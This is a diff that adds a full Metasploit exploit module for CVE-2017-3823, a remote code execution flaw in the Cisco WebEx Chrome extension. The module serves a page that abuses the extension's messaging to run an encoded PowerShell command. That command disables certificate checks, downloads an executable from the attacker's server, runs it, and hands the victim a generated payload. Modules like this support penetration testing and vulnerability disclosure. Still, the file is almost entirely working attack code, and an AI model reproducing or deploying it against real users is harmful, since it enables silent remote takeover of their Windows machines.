|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = GreatRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpServer |
| 12 | + include Msf::Exploit::EXE |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)", |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a vulnerability present in the Cisco WebEx Chrome Extension |
| 19 | + version 1.0.1 which allows an attacker to execute arbitrary commands on a system. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Tavis Ormandy <[email protected]>', # Original research/PoC |
| 25 | + 'William Webb <william_webb[at]rapid7.com>' # Metasploit module |
| 26 | + ], |
| 27 | + 'Platform' => 'win', |
| 28 | + 'DefaultOptions' => |
| 29 | + { |
| 30 | + 'SSL' => true, |
| 31 | + }, |
| 32 | + 'Targets' => |
| 33 | + [ |
| 34 | + [ 'Cisco WebEx Extension 1.0.1', |
| 35 | + { |
| 36 | + 'Platform' => 'win', |
| 37 | + 'Arch' => ARCH_X86, |
| 38 | + } |
| 39 | + ], |
| 40 | + ], |
| 41 | + 'References' => |
| 42 | + [ |
| 43 | + [ 'CVE', '2017-3823' ], |
| 44 | + ], |
| 45 | + 'Arch' => ARCH_X86, |
| 46 | + 'DisclosureDate' => "Jan 21 2017", |
| 47 | + 'DefaultTarget' => 0 |
| 48 | + )) |
| 49 | +end |
| 50 | + |
| 51 | +def setup |
| 52 | + @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" |
| 53 | + @payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe" |
| 54 | + super |
| 55 | +end |
| 56 | + |
| 57 | +def exploit_html(cli, req_uri) |
| 58 | + base_uri = "#{get_resource.chomp('/')}" |
| 59 | + html = %Q~ |
| 60 | +<html> |
| 61 | +<head> |
| 62 | +<script> |
| 63 | +var msg = { |
| 64 | + GpcProductRoot: "WebEx", |
| 65 | + GpcMovingInSubdir: "Wanta", |
| 66 | + GpcProductVersion: "T30_MC", |
| 67 | + GpcUnpackName: "atgpcdec", |
| 68 | + GpcExtName: "atgpcext", |
| 69 | + GpcUnpackVersion: "27, 17, 2016, 501", |
| 70 | + GpcExtVersion: "3015, 0, 2016, 1117", |
| 71 | + GpcUrlRoot: "http://127.0.0.1/", |
| 72 | + GpcComponentName: btoa("MSVCR100.DLL"), |
| 73 | + GpcSuppressInstallation: btoa("True"), |
| 74 | + GpcFullPage: "True", |
| 75 | + GpcInitCall: btoa("_wsystem(Ex1);"), |
| 76 | + Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"), |
| 77 | +} |
| 78 | +
|
| 79 | +function runcode() |
| 80 | +{ |
| 81 | + document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); |
| 82 | + document.dispatchEvent(new CustomEvent("message", { detail: { |
| 83 | + message: JSON.stringify(msg), |
| 84 | + message_type: "launch_meeting", |
| 85 | + timestamp: (new Date()).toUTCString(), |
| 86 | + token: "token" |
| 87 | + } |
| 88 | + })); |
| 89 | +} |
| 90 | +</script> |
| 91 | +</head> |
| 92 | +<body onload="runcode()"> |
| 93 | +
|
| 94 | +</body> |
| 95 | +</html> |
| 96 | + ~ |
| 97 | + |
| 98 | + send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) |
| 99 | +end |
| 100 | + |
| 101 | +def on_request_uri(cli, request) |
| 102 | + print_status("Got request: #{request.uri}") |
| 103 | + print_status("From: #{request.headers['User-Agent']}") |
| 104 | + |
| 105 | + if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/ |
| 106 | + print_status("Sending exploit html ...") |
| 107 | + exploit_html(cli, request.uri) |
| 108 | + close_client(cli) |
| 109 | + return |
| 110 | + elsif request.uri =~ /.*#{@payload_uri}$/ |
| 111 | + return if ((payload = regenerate_payload(cli)) == nil) |
| 112 | + print_status("Sending payload ...") |
| 113 | + send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) |
| 114 | + else |
| 115 | + base_uri = "#{get_resource.chomp('/')}" |
| 116 | + html = %Q~ |
| 117 | + <html> |
| 118 | + <head> |
| 119 | + <meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />" |
| 120 | + </head> |
| 121 | + <body> |
| 122 | + </body> |
| 123 | + </html> |
| 124 | + ~ |
| 125 | + send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) |
| 126 | + close_client(cli) |
| 127 | + end |
| 128 | + end |
| 129 | +end |
0 commit comments